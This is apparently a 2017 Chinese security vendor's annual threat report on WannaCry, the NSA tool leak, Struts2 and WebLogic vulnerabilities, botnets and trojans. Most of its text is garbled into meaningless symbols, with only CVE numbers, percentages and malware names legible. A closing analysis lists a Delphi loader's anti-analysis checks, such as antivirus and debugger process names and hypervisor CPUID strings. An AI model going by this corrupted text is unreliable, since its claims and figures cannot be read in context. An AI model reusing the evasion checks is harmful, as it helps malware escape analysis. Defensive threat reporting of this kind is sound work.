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1. NSA Ї שׂ  

2017 ⱬ ῃԊᴆ יּ WannaCry ̆WannaCry ӊ ץ ₯ⱬ

ԍῒᶏ ԅ NSA ľ ӊ ĿȂNSA ץ ⌠

2013 ̆ῒ ׆ 2016 8 ̆Shadow Brokers ₮ NSA Ȃ2017

4 ̆ῒ ⌠ԅ╠ Ȃ 

Ҋ ױ ѿ Ҋ NSA ѿ ↓ ῃԊᴆ̔ 

 

 
图 1. NSA ῗԐᴌ  

 

2016 8 13 ̆ Shadow Brokers ₮ ̆ ԅҹ NSA

̆ Ὲ Ȃ׆ ᾣ ₯ ΐ ̆

Shadow Brokers ԍ NSA ῀᷅ 2013~2016 Ȃ 

2017 1 8 ̆Shadow Brokers Ῥ Windows ≠ ΐȂ Ὲ

ΐ Windows IISȁRPCȁRDP SMB Ⱶ ף ץ̆ ѿ֓ ȁShellcode

ῒזѿ֓ ΐȂ 

    2017 2 10 ̆ѿҩ ᵌ WannaCry ⱴ ҉ᴰ⌠ VirusTotalȂ

WannaCry ץ ̆ ף ᵌ ̆ ҹ WannaCry יּ

Ȃ 

   2017 4 14 ̆Shadow BrokersῈ ԅ 2016 ץ Ὲ Ҭ ₯ⱬ

ⱬ №Ȃ ≠ ΐ SMBȁRDPȁIIS ҈ ᴆ Ⱶ

Ⱶ ȂῒҬ ғ ľ ӊ Ŀ ҹ WannaCry יּ Ԋᴆ

Ȃ 

̆ Ὲ ̆Shadow BrokersῈ № ̆ 2017 3 14 ץ ӊ╠

ᶛ Ҁ Ҭ ḱ ̆ ҀȂᵖ Windows XP Windows 2003 ҹ Ⱶ

̆ ḱ ῤȂ 

̆ ꜚ ῃԊᴆ ̆ԍ ̆ ₮∆ ‗

Ȃ NSA ₯ ̆ԍ 16 12 Ԋᴆ ↕̆ҹ  
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₯ ᶫ֟ ‗ Ȃ 

2017 4 ̆ ԍ NSA ΐ ҹ ף₯ ԑ ̆∆

Ṣ₡ץ ף῏ ҹȂ ̆ ꜚ̆ Ȃ Ῥ

ꜚ ̆ ף₯ Ҭ ῏ № ̆ ԅӊ╠ ↕̆ ⱴԅ

ľTCP_NSA_Windows_SMB_DoublePulsar ῀ ⱳĿ ҹ ↕̆Ӟ ᶏ

WannaCry ₯Ҭ ⌠ Ȃ 

2017 5 12 Ҋ ̆WannaCryּי Ȃ ᾢ╠ ҩ ↕ ⌠ԅ

ᵬ ̆ľTCP_NSA_Windows_SMB_DoublePulsar ῀ ⱳĿԊᴆ 20 ⌠

ץ ṿ̆ ₯ 12 ⌠ Ȃ 

ԍԊ Ҥ ̆ ᶛ ԅ Windows XP ץ Windows 2003 ҀȂ 

ѿ ̆WannaCry ᴰ Ҋ ̆ Ԋᴆ∆ ⌠ Ȃ 

2017 6 27 ̆ ԋ ԍ ӊ Petyaּי ̆ ױ ⌠ ῤ №

Ȃ № ̆Petya יּ ᶏ ľDoublePulsarĿ ԅ ҉ ḱ ̆ԍ

ԅ ↕ľTCP_NSA_Windows_SMB_DoublePulsar ῀ ⱳ̂Petya ̃ĿȂ 

2017 8 ̆ ԍľ ӊ Ŀ ₯₮ Ȃ ̆WannaCry ᴰ ҉ ̆

patch Kill Swtichף ̆ ԅⱴ יּ ⱳ ̆ ᴰ ⱳ Ȃ 

ԍ ԍױ 2017 4 ⱴ ↕ ľTCP_NSA_Windows_SMB_DoublePulsar ῀ ⱳĿ̆

ױ └₮ԅ≠ ľ ӊ Ŀ ₯  Ȃל

׆ Ҭ ץ ₮̆ľ ӊ Ŀ≠ ׆ 2017 4 ̆ 6 ᴍ ⌠ ̆ӊ

ѿ Ҋ ̆ 2017 Ҋ ̆≠ ľ ӊ Ŀ ᶛ ̆ ≠

Ȃ 

 

 

图 2. 2017 Ņ Ӑ ņ ₵  שׂ

 

ױ ̆ NSA ῃ̆ Ӟᴪל Ȃ 

2. Struts2 ҿӀⱵЇWebLogicד ┼ָ 
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Web ₯ ̆2017 ᶏ ₯ ׅ Struts ↓ ₯̆ 53%Ȃ

ῒ SQL ῀ ₯̂33%̃̆  Webshell ҉ᴰ̂5%̃̆XSS ῀ ₯̂4%̃̆Weblogic 

₯̂3%̃̆IIS ₯̂2%̃Ȃ 

 

 
图 3. 2017 Web ₵  

 

≠ Weblogic ₯ ̆ᵖ≠ ⱳ ₮ῒז ₯ ⱳ ֽ̆ ԍ

Struts2 ̆ῒľ ⱬĿҌ Ȃ 

 

 
图 4. 2017 Web ₵ ꜗ  

3. Ὅ ₵ Ҫשׂ Ї  

̆ὅ ҹԑ ῃ Ȃ 2017 ῃ ⌠ ὅ Һ

Ҭ̆Ҭ ̂11.59%̃ ̆ Ҥ Ȃῒ ̂10.40%̃̆ ̂10.15%̃̆

̂9.57%̃ ḇ ̂5.77%̃Ȃ ׅ ὅ ₯ Ҥ Ȃ 
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图 5. 2017 Ὴ Ὅ ⅎ ‟ 

4. Office Ї  

2017 ̆ ץׅ₯ Office ₯ҹҺȂ ԍ ׂ̆ ᾣ Office

҉ ӊ Ȃ 

 

 
图 6. 2017 Office ‟ 

 

҉ 2017 ₃ҩ Office ל Ȃ׆ Ҭ ץ ₮̆ ѿ

POC Ὲ ̆ ᴪ ѿ ≠ ̆ ғ ⱴ ≠ԍ≠ ₮ ̆ ₯ ᴪ

Ҍ ῀⌠ Ȃ ԍ ᾣ ̆ᶏ ᶏ CVE-

2012-0158 ῖ Ȃ 
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6. Ņҏ סּ ЇҐ ņЇ ⌐  

2017 יּ̆ ₯ ҹ ≠ Һ Ȃᵖ № ҉ ᵣ ľ҉  

יּ ̆Ҋ Ŀ  Ȃל

2016 ̆Locky יּ ׅҺ ץ ᴆᴰ ҹҺ̆ᵖ NSA ₮ יּ

WannaCry ҉ԅ ȂӞ ҹ יּ̆ ҉ ⌠ Ȃᵖ Ḃ ᴰ

WannaCry ̆Ӟ Ҭ ᴪ Ȃ יּ ԅѿ ӊ ̆ ᵌӍӞ

⌠ԅּי ᵞ ̆ ⱴ ԍľ Ŀ ₯Ȃ 

2017 Ҋ ̆ ȂҌ ԍּי ̆

Ҍ ֲ ̆ῒ ᴪ ᴟ Ҭ̆ẽẽ Ȃ

ᴇ ̆Ӟ ₯ Ҋ ҉ Ȃ 

יּ̆ ₯ ᴪ ≠ Ȃ 

 

 
图 9. 2017 סּ ₵ שׂ  

7. IoT Ї ₵ ꜘ  

IoT ԍῒ ᴨל ҹ ľ ĿȂ ԍ IoT ῃ҉

῀ Ҍ IoT ľ Ŀѿ ╠Ȃ╠֓ ѿ ᴪᶏ ssh̆telnet

₯ IoT Ȃ2017 ץ ̆ ‰ IoT

₯̆ ғ ̆₃Ӎ ԅ IoT Ȃ 
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图 10. 2017 IoT ₵  

 

2017 ὅ ҹ̔ץ Ἕ ̆ ҹҺ Mirai ὅ ץ̆

ҹ Gafgyt̆ץ ҹ ҹ Satori Brickerbot̆ץ ῤ ҩ

IoTroopȂ 

 

 
图 11. 2017 Ὅ  

 

2017 ҹ Mirai ῒ ὅ Ҭ̆ ҹҤ Ȃ 
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图 12. 2017 Ὴ Mirai Ὶ ‟ⅎ  

8. ɵ
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一、web 攻击态势观察 
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Web ₯ ̆2017 ᶏ ₯ ׅ Struts2 ↓ ₯̆ 53%Ȃ

ῒ SQL ῀ ₯̂33%̃̆  Webshell ҉ᴰ̂5%̃̆XSS ῀ ₯̂4%̃̆Weblogic 

₯̂3%̃̆IIS ₯̂2%̃ȂOWASP ң ῀ ₯ ̆2017

OWASP Top 10 ҬῬ ῀ ₯ ҹ A1̆Ӟ ԅ ̆ѿ

₃Ӎ ȂXSS ῀ ₯ 2010 A1 ҹ 2013 A3̆

2017 Ҋ ҹ A7̆ ᵝ Ҋ ᵖῒׅ̆ל ҹ Web ₯ ꜛ Ȃ

ץ ₮ᶏ Web ᴆ ₯ѿ ᶛ̆ Ҋ Ҭ Struts2 ↓ȁ

Weblogic ↓ȁIIS ↓ ԍ Web Ȃ ң OWASP Ҭ A9

ᵝ̆ᵖ ᴆ ₯ ץ ѿҩ Ḃ ῃ └ ҩ Web ̆

⌠ Ⱶ └ Ȃ 

 

 
图 14 2017 Web ₵  

 

≠ Weblogic ₯ ̆ᵖ≠ ⱳ ₮ῒז ₯ ⱳ ֽ̆ ԍ

Struts2 ̆ῒľ ⱬĿҌ Ȃ 

 

 
图 15 Web ₵ ꜗ  
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Ҋ ױ ѿҊ 2017 ῃԊᴆҬ ױ ֓ Ȃ 

1.1 ꜘ ֥ Struts2 ∆  

Web  Web ѿ ȂWeb ꜛԍ⁞ ῍

ꜚ ᵬ ̆ᶛ ᶫ ȁ ‰ ץ ᴪ ̆ ף

Ῥ Ȃ Web DjangoȁThinkPHPȁApache StrutsȁSpring Ȃ2017 ֓

Web ₯Ҭ Struts2 ҹῖ ̆ Ȃ 

Struts Apache ᴆ ᴪ̂ASF̃ ꜛ ѿҩ Ȃ ∆ Jakarta Ҭ ѿҩ

̆ 2004 3 ҹ ASF Ȃ JavaServlet/JSP ̆ ԅ ԍ

JavaEE Web MVC ̆ MVC ῖ Ҭ ѿҩ ῖ֟ Ȃ 2007 7

23 Struts2 ѿҩ ₮ӊ ̆ῃ ῃ ԍ Struts2 ׆ Ả ̆

╠ ⌠ S2-055ֽ̕ 2017 ₮ԅ 11 ҩ ̂S2-045~S2-055̃̆ ғ

ҩ ₮ POC Ӟᴪ Ὲ ԍԑ ҉̆2017 ₮ Ҭ S2-045ȁS2-046ȁ

S2-048ȁS2-052ȁS2-053ȁS2-055 ף ̆≠ Ὲ POC ץ ⌠

ף  Ȃפ

Ҋ 2017 Struts2 ᾣ ̔ 

 

 
图 16 2017 Struts2 ҅  

 

Ҋ ԅ 5 Struts2 ᾣ ׆̆ Ҭ ץ ₮ Struts2 2013

2017 ⌠ ̆ѿ Ҭ ңҩ ѿҩ ᾣȂ ԍ Struts2 ҹ ף

̆ ᾣ ᴪ ľ Ŀԑ ӊלȂ 

 

 2013 2014 2015 2016 2017 

Critical 7 4 1 3 6 

 

Ҋ ΐᵣԅױ ѿҊ 2017 ᾣ  Struts2 Ȃ 

2017 3 ̆S2-045̂S2-XXX  Struts ̆  CVE-2017-5638̃

ᾣ̆ ᾛ ₯  HTTP  Content-Type ῀ OGNL ̆ Ȃפ

Ԋ ץ҉ Struts2 ף ҹ ῀ ҌҤ ̆ ₯  

ᶏץ  OGNL ῀  Ȃפ

 2017 3 ̆S2-045 ᾣ ₃ ̆ Ὲ ԅ S2-046̂CVE-2017-5638̃̆S2-046 

ҍ S2-045 ̆ Ҍ ≠ ῀ Ҍ ȂS2-045  Content-Type ̆   
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S2-046 ῀ ҹ Content-Disposition̆ ҍ S2-045 ̆ ⌠

2.3.32  2.5.10.1Ȃ 

2017 7 ̆S2-048̂CVE-2017-9791̃ ᾣ̆ ₯ ץ  Struts2  struts2-struts1-

plugin ᴆ ṿ̆ ף Ȃ 

2017 9 ̆S2-052̂CVE-2017-9805̃ ᾣ̆S2-052 ף ץ  Struts2 

Ҍ ̆S2-052 ≠  Java ↓ ̆ Ҍ  OGNL Ȃ

 REST ᴆ Ҭ  xml ᴆ ̆ ԅ XStreamHandler̆ᴰ῀ ᴪ

↓ ̆ ᴰ῀  xml ҩ  XStream ↓ ̆Ḃ ↓ ̆

ᴋ ף Ȃ 

2017 10 ̆S2-053
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Struts2 ₯ ̂ ̃ Ҋ̔ 
 

 
图 18 2017 Struts2 Ѓ Є 

 

1.2 ӊҒ SQL ῇ ₵ 

SQL ῀ ₯ׅ ╠ Web ₯Ҭ ӊѿȂOWASP Top 10Ӟѿ ῀↓ҹ

ѿ ̆SQL ῀ ₯ ԍ ῀ ₯Ҭ ѿ Ȃ׆ ҉ ̆SQL ῀̆ SQL

פ ῀⌠ Web ֜ ῀ ұ̆ ᶏ Ⱶ SQL

Ȃפ Web ֜ ᴰ ̆ ≢ ⌠

SQL ῀ ₯Ȃ ̆Web Ҭ ҍ Ⱶ ֜ԑ Ḃ SQL

῀ ̆ ₯ ᵝ Ҍֽֽ ԍ Web ̆ URLȁCookieȁRefererȁUser-

Agent ᵝ Ȃ SQL ῀ ₯ ̆ Ⱶ Ҍ ∞ SQL ῀

SQL ῀ ׆̆ ҉ Web╠ ѿ ᵌ SQL ῀ ῀

̆ѿ℗ ҉ ҍ Ȃ ᴰ ₮ SQL ῀ ₯̆

Ғ Web Ȃ 

2017 ᾣ SQL ῀ ̔ 

̂1̃GitHub ᴑҙ SQL ῀  

̂2̃Joomla! 3.7 Core SQL ῀ (CVE-2017-8917) 

̂3̃PHPCMS v9.6.0 wap  SQL ῀  

̂4̃PHPCMS v9 swfupload_json SQL ῀  

̂5̃Metinfo 5.3.17 ╠ SQL ῀  

̂6̃Wordpress sprint ₱ SQL ῀  

̂7̃Peplink Balance  SQL ῀  

̂8̃Drupal 7.x Services ↓ פ ҍ SQL ῀  
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SQL ῀ ֟ Һ ԍ Ҍ ̆ ѿ № Ώף

Ṝ̆ ῀ ∞ ̆ ץ ֜ѿ ף ̆

̆ ז֓ Ȃ Ҍ ῀ SQL ̆ ҩ ῃ

ᵬȂṢꜛ ₯ Ⱶ ҉ ┘ ȁ Ȃ 

׆ ḱ ̆ SQL ῀ ₯ Ⱳ ף ׆̆ ҉

SQL ῀Ȃ Ҍ Ḥᴋ ῀̆Ҥ ῀ ̆ Ҍ ᶏ ꜚ SQL̆

ᶏץ SQL ᶏ Ữ ̆ Ҍ ᶏ

̆ҹ ҩ ᶏ Ȃ 

1.3 Webshell Ї װ  

WebShell ץ aspȁphpȁjsp cgi ᴆ ѿ פ ̆Ӟ ץ ῒ

ᵬҹѿ Ȃ ̆Webshell ѿҩ aspȁjspȁphp Ώ ̆ ₯

῀᷅ԅѿҩ ̆ ֓ aspȁjspȁphp ᴆ Ⱶ Web Ҭ̆

ҍ ᴆ ѿ Ȃ ץ Web └ Ⱶ ̆ ץ

҉ᴰҊ ᴆȁ ȁ ᴋ פ ѿ ↓ ᵬȂ ԍ Webshell ҍ └ Ⱶ

Һ ֜ 80 ᴰ ̆ Ҍᴪ ᴰ Ȃ ғᶏ Webshell

ѿ Ҍᴪ Ҭ Ҋ ̆ ᴪ Web Ҭ Ҋѿ֓ ֜ ̆

₮῀᷅ Ȃ 

₯ ̆ Ώѿҩ Webshell ҉ᴰ⌠ Ⱶ ̆ ӊҹ ̆ῒҬ

ᴆ҉ᴰҊ ȁ ȁ פ ȁ ֓ⱳ ̆ url Ἕ ᵬ

ѿ └ Һ Ȃᵖ ѿ֓ ̔Webshell ⱳ ᴆ ̆ ̕

ԍ ᴆ ̆Ӟ ῃ ᴆ ̕ Ώ ҹ Ȃ 

ҹԅ ‗ ֓ ̆ ₮ ԅѿ Webshell̆ ӊҹľѿ Ŀ̆

ľѿ Ŀ ѿ ף ̆ Webshell Ȃѿ Webshell ̆≠

ԅ eval ₱ ̆ post ף Webshell eval ₱ Ȃ 

Webshell ₮Ҍ ̆ ₯ ҹԅ ῃ ̆ ᴪ Webshell

ף № ⱴ ̆ῒҬ Base64 ᶛ ̆ ̆ԑ

ץ ⌠ ̕ ֓ ѿ ₯ ᴪ Ώѿ֓ ⱴ ̆

Webshell Ȃ 

1.4 XSS ̆ ᴪ

Webshell
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ȁ ᴆ ȁ ᴚ ȁ ⌠ῒז ḱ

ῤ Ȃ 

1.5 WebLogic ∆ ҿ ₵  

WebLogic OracleῈ ₮ ѿҩ application server̆
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Ҭ ף ᶭ ԍ ҈ ᴆ̆ ֓ ᴆ ᴪ ↓ ̆ῖ ᶛ Commons  

CollectionsȁFastjsonȁJacksonȁXStreamȁXMLDecoder ᴆ̆ ֓ ᴆ₮ ↓

̆ ᴪ ⌠ Java Ҭ ῃȂ 

2017 OWASP ԅ Top 10 ῤ ̆ῒҬ A8-Ҍ ῃ ↓ ѿ׆̆ ҉

₮ ↓ ᵬҹѿ Web ̆ ῃ ῏ Ȃ ₮ Һ

ḱ ̆ Ӟ ԅӊ ₮Ҍ ̆ ֟ Ȃ 

2017 ↓ Ҋ̔ 

 

 
图 19 2017 ∆  

 

Ҭ ץ ₮̆₃Ӎ ѿ⌠ңҩ ᴪ ѿҩ ңҩ ↓ ף ᾣ̆

ῒ Weblogic CVE-2017-10271ȁStruts2 S2-052 CVE-2017-9805ȁfastjson(S2-055) ⱬ ҹ

̆ ֓ └ Ⱶ ̆ DOS ₯ ᵬȂ 

Fastjson ↓  

2017 3 15 ̆Fastjson Ҁ ̆ ᶏ ῃ Ȃ

Һ ҹ 1.2.24 ӊ╠ Ȃ Һ fastjson ↓ ῃ ̆

₯ ץ ֜ѿҩ ↓ ⌠ Ⱶ ץ ⌠ ף Ȃ ₯

ץ ף ῀᷅ Ⱶ Ȃfastjson ⌠ 1.2.28/1.2.29

Ḡ ῃȂ 

Jackson CVE-2017-7525/ CVE-2017-15095  

2017 11 2 ̆Jackson ↓ ̂CVE-2017-7525̃ ̆ ԅ

jackson-databind ↓ (CVE-2017-15095) ῒ ῏Ḥ Ȃ ᵬҹ CVE-2017-7525

̆ ԅ jackson-databind ↓ ₯Ȃ ̆ ḱ Ҁ

̆ ᴪ ῃ Ȃ 

Apache Log4j CVE-2017-5645  

2017 4 ̆Apache Log4j ↓ ף Ȃ ₯ ץ

ѿҩ ≢└ᵬ ԋ └ payload̆ ᴆ ↓ ҹ ̆ payloadף

Ȃ Һ ԍ ObjectInputStream ̆ ԍҌ input Ȃ

TcpSocketServer UdpSocketServer ⱴ ⱳ ץ ѿ֓ ῏ ̆ ץ

‗ Ȃ 

Weblogic CVE-2017-3248  
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2017 1 ̆WebLogic ԅѿҩ ҹ CVE-2017-3248 ̆ ҹҤ Ȃ

Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.0 12.2.1.1 ↓ פ

̆ ̆פ Ȃ 6 ̆WebLogic ↓

̆CVE-2017-3248 ⱳ ӊ╠ ḱ Ȃ№ ӊ╠ WebLogic CVE-2015-4852 

Ҁ̆  WebLogic ↓ ̆ᵖ ḱ ꜚ̆

̆ ғ ӊ ↓ ̆ Ӈӊ╠ ᴪ ̆

ׅ ₯Ȃ 

Spring CVE-2017-8045  

2017 8 Pivotal Spring AMQP Ⱶ ѿҩ ף ̂CVE-

2017-8045̃Ȃ ԍ org.springframework.amqp.core.Message Ҍ ῃ ↓ ҹ

ѿҩ strinğ׆ ף ȂSpring ԍ 2003 ῐ ѿҩ Java ̆

Spring AMQ ῒ AMQP ‗ ̆ ᶫ ̆ ᶫ ԍ

ꜚ  POJO ̆ Ḃ ᶏױ RabbitMQ ῏ Ȃ 

Struts2 CVE-2017-9805  

2017 9 ̆  Struts2 ₮ ף Ȃ

lgtm.com ῃ ̆ ҹ CVE-2017-9805 ̆ ҹ Ȃ ᶏ  

XStream  Struts REST ᴆ  XML payload ̆ ᴪ ⌠ ף  

₯ȂStruts2 REST ᴆᶏ XStream XStream Handler ᴋᵥף

↓ ᵬ̆ ↓ XML payload ף ̆ᴋ ₯ ץ XML

ῤ Ȃ 

Jenkins CVE-2017-1000353  

2017 12 ̆Jenkins ₮ ף  ̆CVE ҹ CVE-2017-1000353̆ ₯

ץ ↓ Java SignedObject ̆ᴰ ⌠ ԍ Jenkins CLĬ

ԍ Ḡ └ȂJenkins ѿ ԍᶏ ̆ ᶏץ ׆  
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二、僵尸网络（木马）攻击态势观察 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ԑɻ 

Ὅ ( ) ₵ שׂ  
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2.1 Ὅ Ѓ Є ⅎשׂ  

VenusEye Ҭ ̔2017 ῃ ⌠ ὅ ̂ ̃ └ Һ Ҭ̆

Ҭ ̂11.59%̃ ̆ Ҥ Ȃῒ ̂10.40%̃̆ ̂10.15%̃̆ ̂9.57%̃

ḇ ̂5.77%̃Ȃ ᵣ№ Ҋ̔ 

 
图 20  2017 Ὴ Ὅ ‟ⅎ  

 

2017 ῃ ⌠ C&Ĉ פ └̃ Ⱶ 500 ҆ȂῒҬ ץ 12.6% ᶛ ҹ

C&C └ Ⱶ ̆ῒ ҹҬ ̂9.91%̃̆ḇ ̂9.17%̃̆ᴚ ̂6.27%̃̆Ӌᾥ

ῌ̂5.87%̃Ȃ ᵣ№ Ҋ̔ 

 

图 21 2017 Ὴ ת ┼ЃC&CЄ ꜙ ⅎ ‟ 

 

2017 ̆ῃ ῤ 5ҩὅ №≢ҹ LokiBot̆kasidet̆Pony̆

DarkComet TrickbotȂ 
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图 22 2017 Ὴ Ὅ Ѓ Є ⅎ  

 
 

2017 ῃ ̆ ῤ̂Ҍ ̃ὅ Һ № ԓҩ №≢ҹ ̂10.55%̃ȁ

қ̂10.29%̃ȁ ֤̂7.51%̃ȁȁ
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└ ֓ὅ Һ C&C Ⱶ 5ҩ №≢ҹ ̂60.28%̃̆ ῌ

̂13.90%̃, ̂5.01%̃̆ ̂4.13%̃ ⱴ ̂3.44%̃Ȃ 

ῤ ὅ ᶭ ҹ̂ ⌠ ↓̃̔ 

1.ZeroAccess 

Zeroaccess ԅᾢ rootkit ̆ ⇔ץ ѿҩ ᴆ ̆Ҋ

ᴆ̆ ҉ Ȃ 

2. Ԑ III 

ľ ԐĿ ѿҩ ׂҹ ӊѿ̆ ҆Һ ̆ Ԑ ᶏ ԅ ȁ

ᴟ ҬȂῒᶏ ԅ BootKit ̆

̆ ᶏ Ӟ Ȃ 

3. Linux_IrcBot 

Linux.IrcBot ѿҩὅ ̆Һ ⱳ Һ DDoS ₯Ȃ 

4. Nitol 

Nitol DDoS ₯ ӊѿȂῒ Ⱶ ̆ ̆פ

DDoS ₯Ȃ Ҋץ ῒז ⌠ Ȃ 

5. njRAT 

njRAT ѿҩ C˽ Ώ ̆ⱳ ̆ ῃ └ Ȃ Ḥ ̆

ȁҺ (FirefoxȁGoogle ChromeȁOpera)Ḡ ȁ ̆Ӟ ץ

Ȃ 

6. DDOS 

DDoS ѿҩ№ Ⱶ ₯ ΐ̆ ̆ ץ Һ DDos

₯Ȃ 

7. Gh0st 

Gh0st ̆ΐ ᴆ ̂ ҉ᴰȁҊ ȁ⇔ ȁ− ̃ȁ ȁ  

Ⱶȁ Ύ ȁ ȁ ȁ ȁ Ἕ ȁ ⱳ ̆ ץ ῃ └

Ȃ 

8. Ramnit 

Ramnit ѿ ̆ Ҭ .exeȁ.dll .html ᴆȂ 

9. IptabLex 

IptabLex ѿҩ Linuxὅ ̆ DDoS ₯Ȃ 

10.KillerRat 

KillerRat ѿ ׆ naR ѿҩⱳ ̆ᶏ CSharp ΏȂ

̆ ץ ῃ └ ῀ Ȃ 

11.BillGates 

Billgates ₃ DDoSὅ ̆ ₯ ≠ ssh ȁ ₯

IP ₯ Ⱶ └ ̆ ὅ ὅ Ȃ Һ

Ⱶ פ ץ DDoS ₯ȁ shell ᵬȂ 

2.2 ᴌᴶ ₵ ⅎשׂ  

2017 ῃ ᴆᴰ 40 ᵩ Ȃ׆ ⱳ ҉№ ̆ ץ №ҹ

̂63.50%̃ȁ └ ̂19.86%̃ȁ ̂13.51%̃ȁ ̂3.13%̃ Ȃ 

 

https://baike.m.yhdeyi.com/item/BootKit
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ׅ ᴨלȂ 2016 ̆Zeus Ҋ Ȃ 

 

 
图 24 2017 ᴌ ᴶ ⌡  

 

2017 ⌠ Ҋ̔ 

 

 
图 25 2017 ᴌ ᴶ  

 

 

63%

20%

14%

3%

└
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ῒҬ̆ ⌠ Pony Dyzap̆ғ 3ᵝ FormBook ԅ Ȃ

FormBookȁDiamondFox 2017 ̆ Dyzap ӊ╠ ⱴȂ

̆2017 ₮ FormBookᶏ ԅ Ȃ ԅ VB 

Loader̆C# Loader ӊ ̆ᶏ Delphi LoaderȂ 

Һ ⱳ Ҋ̔ 

 Pony Dyzap FormBook DiamondFox 

 2015.9. 2016.11. 2017.6. 2017.4 

 Ś Ś Ś Ś 

└ ¦ ¦ Ś Ś 

DDOS ¦ ¦ ¦ ¦ 

 ¦ Ś Ś Ś 

ᴰ httpⱴ  http ⱴ  http ⱴ  http ⱴ  
 

2017 ⌠ └ Ҋ̔ 

 

 
图 26 2017 ᴌ ᴶ  

 

ῒҬ ⌠ NanoCorĕNetWirĕ JRat̆҈ ȂRemcos ҹ 2017

Ȃ 

 

26%

24%23%

5%

5%

5%

2%
2%

1%
1%1%1%1%

NanoCore

NetWire

JRat

Neutrino

Remcos

nJRat

Kortos

DarkComet

Coringa

ImminentMonitor

Adwind

Ozone

Luminosity

RevCode

QRat

h-Worm

Revenge

Comet
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Һ └ ⱳ Ҋ̔ 

 NanoCore NetWire JRat Neutrino Remcos 

 2015.12. 2016.3. 2016.4.   2016.6  2017.04 

 Ś Ś Ś   Ś Ś 

└ Ś Ś Ś   Ś Ś 

DDOS Ś Ś ¦   Ś Ś 

 Ś ¦ Ś   Ś Ś 

ᴰ tcpⱴ  tcpⱴ  http ⱴ  http ⱴ   tcp ⱴ  
 

2017 ̆῍ 11 ̆ ≢№ױ ̔HawkEyeKeyloggerȁAgentTeslaȁISRȁ

PredatorPainKeyloggerȁKeyBaseȁZyklonȁAZORmȁAZORultȁNexusLoggerȁOrionLoggerȁ

CyborgȂῒҬ 6 2017 ̆ᵖ ȂHawkEyeKeylogger₮ ̆№

ᵣף ꜚ̆ᵖⱳ Ȃ ֓ ̆ FTPȁEMAILȁPHP̆ 

ᵖ ≠ EMAIL ᴰ Ȃ 

Һ ⱳ Ҋ̔ 

 HawkEye 

Keylogger 

Agent 

Tesla 

iSpy 

keylogger 

predator-pain 

keylogger 

 2015.5 2016.11. 2016.2. 2016.4. 

 Ś Ś Ś Ś 

◄  Ś Ś Ś Ś 

Ἕ  ¦ Ś Ś ¦ 

 Ś Ś Ś Ś 

Ḥ  Ś Ś Ś Ś 

ꜚ ᴰ  Ś ¦ ¦ Ś 

 Ś Ś Ś Ś 

ᴆ  Ś Ś ¦ Ś 

 Ś ¦ ¦ Ś 

MineCraft

Ḥ  

Ś ¦ Ś Ś 

Ҋ ᴆ ¦ Ś Ś ¦ 

 ¦ Ś Ś ¦ 

UAC ¦ Ś ¦ ¦ 

ᴰ  FTP,EMAIL

,PHP 

FTP,EMAIL

,PHP 

FTP,EMAIL

,PHP 

FTP,EMAIL,PHP 

 

2017 Ҋ ̆ ңҩ Ursnif TrickBotȂ 

Һ ⱳ Ҋ̔ 
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 ZeusVM Citadel Ursnif Dridex 
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2. ӊ╠ ԅѿҩ mailProxy ̆ᵖ № ῒף ̆ ׅ Panel

PHP Ȃ url ѿ ȂmailProxy ᶏ SecretȁTitleȁData ҉ᴰ Ȃ 

 

 

图 30 HawkEye ⅎ Ѓ3Є 

 

 

Panelᶏ SecretȁHWIDȁNameȁCountryȁOSȁVersionȁTypeȁData ҉ᴰ Ȃ 

 

 

图 31 HawkEye ⅎ Ѓ4Є 
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3. ⱳ ԅ Stealer Ҭ ̆ ץ FileZillaȁBeyluxeȁCoreFTPȁMinecraft

Ȃ 

 

 

图 32 HawkEye ⅎ Ѓ5Є 

 

4. ᴪᶏ ExternalStealer ⱴ ңҩ ᴆ̆ ᴆ Ḡ

Ȃ 

5. ԅ ҉ᴰ ̆ ᴪ҉ᴰ ȁ Ḥ ȁ Ḥ ȁ◄ Ȃ 

6.ṿ ̆ ⱴԅ ≢ȁ ῒ Bot ⱳ Ȃ 

2.3.3 ῝ Loaderⅎ -Delphi Loader 

2016 ᵌ̆ 2017 Ҭ̆ ⱴԅ Ώ LoaderȂ

Loader ף Һ ⱳ ҹ ȁ ̆ ῤ Ҭ ₮ ף ⱴ Ȃ 

2017 ₮ ԅѿ Delphi Loader̆ ₮ shellcode ̆Ῥ shellcode ₮

ף ̆ ῀ Ệό ף Ȃ ף ӊ╠ ԅ ȁ ȁ

ȁ ⱳ Ȃ 

1. ף №ᴪ ӈ ₱ ̆ѿ ҹԅ ̆ ᵞ ⱳ ̆ ѿ

Ӟ ⱴԅ № Ȃ 

2. ╠ ̆ ԍ 2016 ̆ ₮Ȃ 

3. ꜚ̆ ԍ 5 ғ ꜚ ԍ 0x1F ↕ Ȃ 

4̈ ῤ ̆ shellcode Ȃ 

5.Shellcode hash ҩ₱ Ȃ 
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6. ץ Ȃ ҽ avastsvc.exeȁaavastui.exeȁavgsvc.exeȁ

iavgui.exeȁprocmon.exeȁollydbg.exeȁprocexp.exeȁwindbg.exe ȂҌ Loader

Ҍ ̆ ῒ ץ Ȃ 

7. sandboxȁmalwareȁsampleȁvirusȁself ұ̆ץ Ȃ

ⱳ Ȃ 

8. ZwQueryInformationProcess ₱ ProcessDebugFlags PEB.BeingDebugged

Ȃ 

9. CPUID פ Ȃ 

eax=0x00 ̆ CPUID ӊ ̆ebx+ edx+ ecx=" GenuineIntel"Ȃ

KVMKVMKVMKVMȁMicrosoft Hv ȁVMWareVMWareȁXenVMMXenVMMȂ eax=0x40000000 ̆ebxȁecxȁ

edx Ҍ ԍ 0̆↕ ̆ ԍ 0 Ҍ Ȃ 

CPUID ӊ ̆ebx+ecx+edx="VMWareVMWare"̆ ҹ XenVMMXenVMMȁprl 

hypervȁMicrosoft HvȁKVMKVMKVMȁVMWareVMWareȂ eax=1 ̆ CPUID ӊ ̆ ecx

31 ᵝ ҹ 1,ҹ 1 ҊȂ 

10.ⱴ Ȃ 

҉̆ ף ⱴ ̆ № NᴍḠ Ȃ 0x30

̆ ᶛ 0x03E9 1001ȂẒ 0x46 0x0003 RT_ICONȂ 

Ẓ 0x5C 0xCD 205̆ ῍ 205 ᴍ ̆ ׆ 1001 ⌠ 1205Ȃ 

12. ῀Ȃ ₮ PE ῀⌠Ệό ȂDelphi Loaderᶏ ̆ ₮Ȃ 
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三、恶意文档攻击态势观察 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

